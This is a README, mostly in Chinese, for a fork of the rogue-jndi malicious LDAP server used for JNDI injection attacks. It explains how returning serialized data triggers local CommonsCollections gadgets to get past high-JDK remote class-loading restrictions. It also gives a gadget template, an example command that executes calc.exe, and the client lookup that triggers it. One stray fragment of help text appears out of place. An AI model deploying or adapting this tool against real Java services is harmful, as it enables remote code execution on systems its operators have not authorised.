Rogue-jndi-1.2: A Java repository from ThestaRY7

Rogue JNDI 1.2

Description

原工具库：veracode-research/rogue-jndi: A malicious LDAP server for JNDI injection attacks (github.com)

增加自定义gadget触发客户端代码执行绕过高版本JDK远程加载限制

Bypass

利用LDAP返回序列化数据，触发本地Gadget，LDAP支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空，则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。

com.sun.jndi.ldap.Obj#decodeObject

if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
    ClassLoader var3 = helper.getURLClassLoader(var2);
    return deserializeObject((byte[])((byte[])var1.get()), var3);
}

更多绕过方式请参考：https://paper.seebug.org/942

Supported payloads

目前利用LDAP返回序列化数据，触发本地Gadget的绕过方式支持的Gadget

CommonsCollections2
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
...

可自定义添加，在gadgets包中，添加模板如下

@SuppressWarnings({ "rawtypes", "unchecked" })
public class GadgetName implements ObjectPayload<T>{

    @Override
    public T getObject(String command) throws Exception {
   
        return T;
    }
}

其他payload请参考原工具库

                   file should be located on the remote server) (default:

Example

绕过高版本JDK限制：利用LDAP返回序列化数据，触发本地Gadget，如下Gadget的是CommonsCollections6

>java -jar RogueJndi-1.2.jar  -c "calc.exe" -n "127.0.0.1" -g "CommonsCollections6"

Mapping ldap://127.0.0.1:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

客户端触发代码：

new InitialContext().lookup("ldap://127.0.0.1:1389/o=ldapref");
